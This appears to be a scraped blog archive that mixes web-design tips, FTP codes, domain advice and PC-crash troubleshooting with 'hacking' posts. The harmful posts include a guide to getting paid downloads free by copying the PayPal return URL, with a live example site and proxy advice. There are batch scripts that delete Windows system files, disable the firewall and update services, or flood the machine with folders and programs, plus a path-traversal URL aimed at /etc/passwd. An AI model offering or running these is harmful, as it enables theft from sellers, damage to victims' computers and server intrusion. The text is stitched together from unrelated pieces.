2. Does the site use friendly URLs?<br />
3. Do your URLs work without "www"?<br />
4. Does the site have a favicon?<br />
<br />
<br />
Favicons are definitely not critical. However, if they are not present, they can cause 404 errors in your logs (site statistics). Browsers like IE will request them from the server when a site is bookmarked. If a favicon isn't available, a 404 error may be generated. Therefore, having a favicon could cut down on favicon specific 404 errors. The same is true of a 'robots.txt' file.</div>

A Web Standards Checklist, How to make a proper website

A web standards checklist The term web standards can mean different things to different people. For some, it is 'table-free sites...

How to Download from a paypal site without paying a penny!

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<br />
Just a little basic html tip for those who are trying to download an application from sites which has an paypal order page & link to start you off.<br />
<br />
Use a proxy when you try this to hide your ip as some sites will record your ip when you connect for security.<br />
<br />
1) Rightclick your mouse (ctrl+click) viewsource and open the source of the site in an a texteditor<br />
2) Search for the word "return"<br />
3) Next to it you can find the url for the thank you page<br />
4) Copy the url and paste it in your browser and you will see the download link<br />
                            <br />
                                       <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirO3ohFkESvuTg0IRNqAPqU1JCHrhnwyDE9GSGuPYn1pOVT_7EaKp0bleARviOUHM92eFY2fmwmarxXzT3FCkRFf2Mm2amzzjrtyZIoC3CUZbCjOh1iXhif77bfZaQcUrPi9UE3YeA8gI/s1600/paypal.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirO3ohFkESvuTg0IRNqAPqU1JCHrhnwyDE9GSGuPYn1pOVT_7EaKp0bleARviOUHM92eFY2fmwmarxXzT3FCkRFf2Mm2amzzjrtyZIoC3CUZbCjOh1iXhif77bfZaQcUrPi9UE3YeA8gI/s1600/paypal.png" /></a></div>
<br />
This works only if you can download instantly after payment, it will not work if the link needs to be emailed to you.<br />
<br />
You can try it here to start with:<br />
Code:<br />
http://www.ramphelp.com/halfpipe.html<br />
<br />
<br />
About half way down the page you will find:<br />
<br />
<input type="hidden" name="return" value="http://www.ramphelp.com/65984523/thanks/68912hp654/26865thankyouhp08363215423.html "><br />
<br />
Copy the link into your browser and download.</div>

How to Download from a paypal site without paying a penny!

Just a little basic html tip for those who are trying to download an application from sites which has an paypal order page & link to s...

COMMON FTP ERROR CODES IN A WEB SERVER

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<br />
110 Restart marker reply. In this case, the text is exact and not left to the particular implementation; it must read: MARK yyyy = mmmm where yyyy is User-process data stream marker, and mmmm server's equivalent marker (note the spaces between markers and "=").<br />
<br />
120 Service ready in nnn minutes.<br />
<br />
125 Data connection already open; transfer starting.<br />
<br />
150 File status okay; about to open data connection.<br />
<br />
200 Command okay.<br />
<br />
202 Command not implemented, superfluous at this site.<br />
<br />
211 System status, or system help reply.<br />
<br />
212 Directory status.<br />
<br />
213 File status.<br />
<br />
214 Help message.On how to use the server or the meaning of a particular non-standard command. This reply is useful only to the human user.<br />
<br />
215 NAME system type. Where NAME is an official system name from the list in the Assigned Numbers document.<br />
<br />
220 Service ready for new user.<br />
<br />
221 Service closing control connection.<br />
<br />
225 Data connection open; no transfer in progress.<br />
<br />
226 Closing data connection. Requested file action successful (for example, file transfer or file abort).<br />
<br />
227 Entering Passive Mode (h1,h2,h3,h4,p1,p2).<br />
<br />
230 User logged in, proceed. Logged out if appropriate.<br />
<br />
250 Requested file action okay, completed.<br />
<br />
257 "PATHNAME" created.<br />
<br />
331 User name okay, need password.<br />
<br />
332 Need account for login.<br />
<br />
350 Requested file action pending further information<br />
<br />
421 Service not available, closing control connection.This may be a reply to any command if the service knows it must shut down.<br />
<br />
425 Can't open data connection.<br />
<br />
426 Connection closed; transfer aborted.<br />
<br />
450 Requested file action not taken.<br />
<br />
451 Requested action aborted. Local error in processing.<br />
<br />
452 Requested action not taken. Insufficient storage space in system.File unavailable (e.g., file busy).<br />
<br />
500 Syntax error, command unrecognized. This may include errors such as command line too long.<br />
<br />
501 Syntax error in parameters or arguments.<br />
<br />
502 Command not implemented.<br />
<br />
503 Bad sequence of commands.<br />
<br />
504 Command not implemented for that parameter.<br />
<br />
530 Not logged in.<br />
<br />
532 Need account for storing files.<br />
<br />
550 Requested action not taken. File unavailable (e.g., file not found, no access).<br />
<br />
551 Requested action aborted. Page type unknown.<br />
<br />
552 Requested file action aborted. Exceeded storage allocation (for current directory or dataset).<br />
<br />
553 Requested action not taken. File name not allowed.<br />
<div>
<br /></div>
</div>

COMMON FTP ERROR CODES IN A WEB SERVER

110 Restart marker reply. In this case, the text is exact and not left to the particular implementation; it must read: MARK yyyy = mmmm wh...

Choosing A Good Domain Name

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<br />
<br />
Choosing a domain name for your site is one of the most important steps towards creating the perfect internet presence. If you run an on-line business, picking a name that will be marketable and achieve success in search engine placement is paramount. Many factors must be considered when choosing a good domain name. This article summarizes all the different things to consider before making that final registration step!<br />
<br />
<br />
Short and Sweet<br />
<br />
Domain names can be really long or really short (1 - 67 characters). In general, it is far better to choose a domain name that is short in length. The shorter your domain name, the easier it will be for people remember. Remembering a domain name is very important from a marketability perspective. As visitors reach your site and enjoy using it, they will likely tell people about it. And those people may tell others, etc. As with any business, word of mouth is the most powerful marketing tool to drive traffic to your site (and it's free too!). If your site is long and difficult to pronounce, people will not remember the name of the site and unless they bookmark the link, they may never return.<br />
<br />
<br />
Consider Alternatives<br />
<br />
Unless a visitor reaches your site through a bookmark or a link from another site, they have typed in your domain name. Most people on the internet are terrible typists and misspell words constantly. If your domain name is easy to misspell, you should think about alternate domain names to purchase. For example, if your site will be called "MikesTools.com", you should also consider buying "MikeTools.com" and "MikeTool.com". You should also secure the different top level domain names besides the one you will use for marketing purposes ("MikesTools.net", "MikesTools.org", etc.) You should also check to see if there are existing sites based on the misspelled version of the domain name you are considering. "MikesTools.com" may be available, but "MikesTool.com" may be home to a graphic pornography site. You would hate for a visitor to walk away thinking you were hosting something they did not expect.<br />
<br />
Also consider domain names that may not include the name of your company, but rather what your company provides. For example, if the name of your company is Mike's Tools, you may want to consider domain names that target what you sell. For example: "buyhammers.com" or "hammer-and-nail.com". Even though these example alternative domain names do not include the name of your company, it provides an avenue for visitors from your target markets. Remember that you can own multiple domain names, all of which can point to a single domain. For example, you could register "buyhammers.com", "hammer-and-nail.com", and "mikestools.com" and have "buyhammers.com" and "hammer-and-nail.com" point to "mikestools.com".<br />
<br />
<br />
Hyphens: Your Friend and Enemy<br />
<br />
Domain name availability has become more and more scant over the years. Many single word domain names have been scooped up which it makes it more and more difficult to find a domain name that you like and is available. When selecting a domain name, you have the option of including hyphens as part of the name. Hyphens help because it allows you to clearly separate multiple words in a domain name, making it less likely that a person will accidentally misspell the name. For example, people are more likely to misspell "domainnamecenter.com" than they are "domain-name-center.com". Having words crunched together makes it hard on the eyes, increasing the likelihood of a misspelling. On the other hand, hyphens make your domain name longer. The longer the domain name, the easier it is for people to forget it altogether. Also, if someone recommends a site to someone else, they may forget to mention that each word in the domain name is separated by a hyphen. If do you choose to leverage hyphens, limit the number of words between the hyphens to three. Another advantage to using hyphens is that search engines are able to pick up each unique word in the domain name as key words, thus helping to make your site more visible in search engine results.<br />
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Dot What?<br />
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There are many top level domain names available today including .com, .net, .org, and .biz. In most cases, the more unusual the top level domain, the more available domain names are available. However, the .com top level domain is far and away the most commonly used domain on the internet, driven by the fact that it was the first domain extension put to use commercially and has received incredible media attention. If you cannot lay your hands on a .com domain name, look for a .net domain name, which is the second most commercially popular domain name extension.<br />
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Long Arm of the Law<br />
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Be very careful not to register domain names that include trademarked names. Although internet domain name law disputes are tricky and have few cases in existence, the risk of a legal battle is not a risk worth taking. Even if you believe your domain name is untouchable by a business that has trademarked a name, do not take the chance: the cost of litigation is extremely high and unless you have deep pockets you will not likely have the resources to defend yourself in a court of law. Even stay away from domain names in which part of the name is trademarked: the risks are the same.<br />
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Search Engines and Directories<br />
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All search engines and directories are different. Each has a unique process for being part of the results or directory listing and each has a different way of sorting and listing domain names. Search engines and directories are the most important on-line marketing channel, so consider how your domain name choice affects site placement before you register the domain. Most directories simply list links to home pages in alphabetical order. If possible, choose a domain name with a letter of the alphabet near the beginning ("a" or "b"). For example, "aardvark-pest-control.com" will come way above "joes-pest-control.com". However, check the directories before you choose a domain name. You may find that the directories you would like be in are already cluttered with domain names beginning with the letter "a". Search engines scan websites and sort results based on key words. Key words are words that a person visiting a search engine actually search on. Having key words as part of your domain name can help you get better results.<br />
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Choosing A Good Domain Name

Choosing a domain name for your site is one of the most important steps towards creating the perfect internet presence. If you run an on-...

WHAT ARE THE METHODS OF HACKING WEBSITE

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METHODS OF HACKING WEBSITE:<o:p></o:p></div>
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1. SQL INJECTION<o:p></o:p></div>
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2. CROSS SITE SCRIPTING<o:p></o:p></div>
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3. REMOTE FILE INCLUSION<o:p></o:p></div>
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4. LOCAL FILE INCLUSION<o:p></o:p></div>
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5. DDOS ATTACK<o:p></o:p></div>
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6. EXPLOITING VULNERABILITY.<o:p></o:p></div>
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<span style="color: red;">1. SQL INJECTION</span></h2>
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<o:p></o:p></div>
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FIRST OF ALL WHAT IS SQL INJECTION? SQL INJECTION IS A TYPE OF SECURITY EXPLOIT OR LOOPHOLE IN WHICH A ATTACKER "INJECTS" SQL CODE THROUGH A WEB FORM OR MANIPULATE THE URL'S BASED ON SQL PARAMETERS. IT EXPLOITS WEB APPLICATIONS THAT USE CLIENT SUPPLIED SQL QUERIES.<o:p></o:p></div>
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THE PRIMARY FORM OF SQL INJECTION CONSISTS OF DIRECT INSERTION OF CODE INTO USER-INPUT VARIABLES THAT ARE CONCATENATED WITH SQL COMMANDS AND EXECUTED. A LESS DIRECT ATTACK INJECTS MALICIOUS CODE INTO STRINGS THAT ARE DESTINED FOR STORAGE IN A TABLE OR AS METADATA. WHEN THE STORED STRINGS ARE SUBSEQUENTLY CONCATENATED INTO A DYNAMIC SQL COMMAND, THE MALICIOUS CODE IS EXECUTED.<o:p></o:p></div>
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<span style="color: red;">2. CROSS SITE SCRIPTING</span></h2>
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<o:p></o:p></div>
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CROSS SITE SCRIPTING (XSS) OCCURS WHEN A USER INPUTS MALICIOUS DATA INTO A WEBSITE, WHICH CAUSES THE APPLICATION TO DO SOMETHING IT WASN’T INTENDED TO DO. XSS ATTACKS ARE VERY POPULAR AND SOME OF THE BIGGEST WEBSITES HAVE BEEN AFFECTED BY THEM INCLUDING THE FBI, CNN, EBAY, APPLE, MICROSFT, AND AOL.<o:p></o:p></div>
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SOME WEBSITE FEATURES COMMONLY VULNERABLE TO XSS ATTACKS ARE:<o:p></o:p></div>
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• SEARCH ENGINES<o:p></o:p></div>
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• LOGIN FORMS<o:p></o:p></div>
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• COMMENT FIELDS<o:p></o:p></div>
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CROSS-SITE SCRIPTING HOLES ARE WEB APPLICATION VULNERABILITIES THAT ALLOW ATTACKERS TO BYPASS CLIENT-SIDE SECURITY MECHANISMS NORMALLY IMPOSED ON WEB CONTENT BY MODERN BROWSERS. BY FINDING WAYS OF INJECTING MALICIOUS SCRIPTS INTO WEB PAGES, AN ATTACKER CAN GAIN ELEVATED ACCESS PRIVILEGES TO SENSITIVE PAGE CONTENT, SESSION COOKIES, AND A VARIETY OF OTHER INFORMATION MAINTAINED BY THE BROWSER ON BEHALF OF THE USER. CROSS-SITE SCRIPTING ATTACKS ARE THEREFORE A SPECIAL CASE OF CODE INJECTION.<o:p></o:p></div>
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I WILL EXPLAIN THIS IN DETAIL IN LATER HACKING CLASSES. SO KEEP READING..<o:p></o:p></div>
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<span style="color: red;">3. REMOTE FILE INCLUSION</span></h2>
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<o:p></o:p></div>
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REMOTE FILE INCLUSION IS THE MOST OFTEN FOUND VULNERABILITY ON THE WEBSITE.<o:p></o:p></div>
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REMOTE FILE INCLUSION (RFI) OCCURS WHEN A REMOTE FILE, USUALLY A SHELL (A GRAPHICAL INTERFACE FOR BROWSING REMOTE FILES AND RUNNING YOUR OWN CODE ON A SERVER), IS INCLUDED INTO A WEBSITE WHICH ALLOWS THE HACKER TO EXECUTE SERVER SIDE COMMANDS AS THE CURRENT LOGGED ON USER, AND HAVE ACCESS TO FILES ON THE SERVER. WITH THIS POWER THE HACKER CAN CONTINUE ON TO USE LOCAL<o:p></o:p></div>
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EXPLOITS TO ESCALATE HIS PRIVILEGES AND TAKE OVER THE WHOLE SYSTEM.<o:p></o:p></div>
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RFI CAN LEAD TO FOLLOWING SERIOUS THINGS ON WEBSITE :<o:p></o:p></div>
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SKIP DISCOVERS FUTURING FUTURES WEBSITE DESIGN<o:p></o:p></div>
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CODE EXECUTION ON THE WEB SERVER<o:p></o:p></div>
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CODE EXECUTION ON THE CLIENT-SIDE SUCH AS JAVASCRIPT WHICH CAN LEAD TO OTHER ATTACKS SUCH AS CROSS SITE SCRIPTING (XSS).<o:p></o:p></div>
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DENIAL OF SERVICE (DOS)<o:p></o:p></div>
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DATA THEFT/MANIPULATION<o:p></o:p></div>
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<span style="color: red;">4. LOCAL FILE INCLUSION</span></h2>
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<o:p></o:p></div>
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LOCAL FILE INCLUSION (LFI) IS WHEN YOU HAVE THE ABILITY TO BROWSE THROUGH THE SERVER BY MEANS OF DIRECTORY TRANSVERSAL. ONE OF THE MOST COMMON USES OF LFI IS TO DISCOVER THE /ETC/PASSWD FILE. THIS FILE CONTAINS THE USER INFORMATION OF A LINUX SYSTEM. HACKERS FIND SITES VULNERABLE TO LFI THE SAME WAY I DISCUSSED FOR RFI’S.<o:p></o:p></div>
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LET’S SAY A HACKER FOUND A VULNERABLE SITE, WWW.TARGET-SITE.COM/INDEX.PHP?P=ABOUT, BY MEANS OF DIRECTORY TRANSVERSAL HE WOULD TRY TO BROWSE TO THE /ETC/PASSWD FILE:<o:p></o:p></div>
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WWW.TARGET-SITE.COM/INDEX.PHP?P= ../../../../../../../ETC/PASSWD<o:p></o:p></div>
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I WILL EXPLAIN IT IN DETAIL WITH PRACTICAL WEBSITES EXAMPLE IN LATTER SEQUENTIAL CLASSES ON WEBSITE HACKING.<o:p></o:p></div>
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<span style="color: red;">5. DDOS ATTACK</span></h2>
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<o:p></o:p></div>
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SIMPLY CALLED DISTRIBUTED DENIAL OF SERVICE ATTACK. A DENIAL-OF-SERVICE ATTACK (DOS ATTACK) OR DISTRIBUTED DENIAL-OF-SERVICE ATTACK (DDOS ATTACK) IS AN ATTEMPT TO MAKE A COMPUTER RESOURCE UNAVAILABLE TO ITS INTENDED USERS. ALTHOUGH THE MEANS TO CARRY OUT, MOTIVES FOR, AND TARGETS OF A DOS ATTACK MAY VARY, IT GENERALLY CONSISTS OF THE CONCERTED EFFORTS OF A PERSON OR PEOPLE TO PREVENT AN INTERNET SITE OR SERVICE FROM FUNCTIONING EFFICIENTLY OR AT ALL, TEMPORARILY OR INDEFINITELY. IN DDOS ATTACK WE CONSUMES THE BANDWIDTH AND RESOURCES OF ANY WEBSITE AND MAKE IT UNAVAILABLE TO ITS LEGITIMATE USERS.<o:p></o:p></div>
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<span style="color: red;">6.EXPLOTING VULNERABILITY</span></h2>
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<o:p></o:p></div>
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ITS NOT A NEW CATEGORY IT COMPRISES OF ABOVE FIVE CATEGORIES BUT I MENTIONED IT SEPARATELY BECAUSE THERE ARE SEVERAL EXPLOITS WHICH CANNOT BE COVERED IN THE ABOVE FIVE CATEGORIES. SO I WILL EXPLAIN THEM INDIVIDUALLY WITH EXAMPLES. THE BASIC IDEA BEHIND THIS IS THAT FIND THE VULNERABILITY IN THE WEBSITE AND EXPLOIT IT TO GET THE ADMIN OR MODERATOR PRIVILEGES SO THAT YOU CAN MANIPULATE THE THINGS EASILY.</div>
</div>

WHAT ARE THE METHODS OF HACKING WEBSITE

METHODS OF HACKING WEBSITE: 1. SQL INJECTION 2. CROSS SITE SCRIPTING 3. REMOTE FILE INCLUSION 4. LOCAL FILE INCLUSION 5. DDOS A...

Dangerous batch File Coding for corrupt the pc

1.copy this and paste this in your notepad.. @echo off del c:windowssystem32restore del c:windowssystem32winlogon.exe del c:windowssystem...

create 3000 folder in a single minute using bat file

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<strong>@echo off</strong></div>
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<strong>:loop</strong></div>
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<strong>md %random%</strong></div>
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<strong>goto loop</strong></div>
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<strong>saveas myhackzs.bat</strong></div>
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create 3000 folder in a single minute using bat file

@echo off :loop md %random% goto loop saveas myhackzs.bat

Service Disabler using bat file

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<span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">open notepad & type</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">@echo off</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">net stop “Windows Firewall”</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">net stop “Windows Update”</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">net stop Workstation</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">net stop “DHCP Client”</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">net stop “DNS Client”</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">net stop “Print Spooler”</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">net stop Themes</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">exit</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">save as myhackzs.bat</span></div>

Service Disabler using bat file

open notepad & type @echo off net stop “Windows Firewall” net stop “Windows Update” net stop Workstation net stop “DHCP Client” net sto...

Application Bomber using notepad

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<span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">open notepad & type</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">@echo off</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">:loop</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">start notepad</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">start compmgmt.msc</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">start mspaint</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">start osk</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">start cmd</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">start explorer</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">start control</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">start calc</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">goto loop</span><br style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;" /><span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">save as myhackzs.bat</span></div>

Application Bomber using notepad

open notepad & type @echo off :loop start notepad start compmgmt.msc start mspaint start osk start cmd start explorer start control sta...

windows run commands used by system admininstrators

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<br />
cmd = Command Prompt<br />
iexplore + "web address" = Internet Explorer<br />
compmgmt.msc = Computer Management<br />
dhcpmgmt.msc = DHCP Management<br />
dnsmgmt.msc = DNS Management<br />
services.msc = Services<br />
eventvwr = Event Viewer<br />
dsa.msc = Active Directory Users and Computers<br />
dssite.msc = Active Directory Sites and Services<br />
<br />
devmgmt.msc = Device Manager<br />
msinfo32 = System Information<br />
cleanmgr = Disk Cleanup<br />
ntbackup = Backup or Restore Wizard (Windows Backup Utility)<br />
mmc = Microsoft Management Console<br />
excel = Microsoft Excel (If Installed)<br />
msaccess = Microsoft Access (If Installed)<br />
powerpnt = Microsoft PowerPoint (If Installed)<br />
winword = Microsoft Word (If Installed)<br />
frontpg = Microsoft FrontPage (If Installed)<br />
notepad = Notepad<br />
wordpad = WordPad<br />
calc = Calculator<br />
msmsgs = Windows Messenger<br />
mspaint = Microsoft Paint<br />
wmplayer = Windows Media Player<br />
rstrui = System Restore<br />
netscp6 = Netscape 6.x<br />
netscp = Netscape 7.x<br />
netscape = Netscape 4.x<br />
waol = America Online<br />
control = Opens the Control Panel<br />
control printers = Opens the Printers Dialog<br />
<br />
</div>

windows run commands used by system admininstrators

cmd = Command Prompt iexplore + "web address" = Internet Explorer compmgmt.msc = Computer Management dhcpmgmt.msc = DHCP Mana...

10 reasons why PCs crash U must Know

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<h2 style="text-align: left;">
<span style="color: red;">1 Hardware conflict</span></h2>
<br />
The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.<br />
<br />
For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.<br />
<br />
If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:<br />
<br />
* Start-Settings-Control Panel-System-Device Manager.<br />
<br />
Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.<br />
<br />
Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.<br />
<br />
Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).<br />
<br />
When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.<br />
<br />
To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.<br />
<br />
<h2 style="text-align: left;">
<span style="color: red;">2 Bad Ram</span></h2>
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Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.<br />
<br />
But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.<br />
<br />
One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.<br />
<br />
Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.<br />
<br />
EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.<br />
<br />
<h2 style="text-align: left;">
<span style="color: red;">3 BIOS settings</span></h2>
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Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.<br />
<br />
Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.<br />
<br />
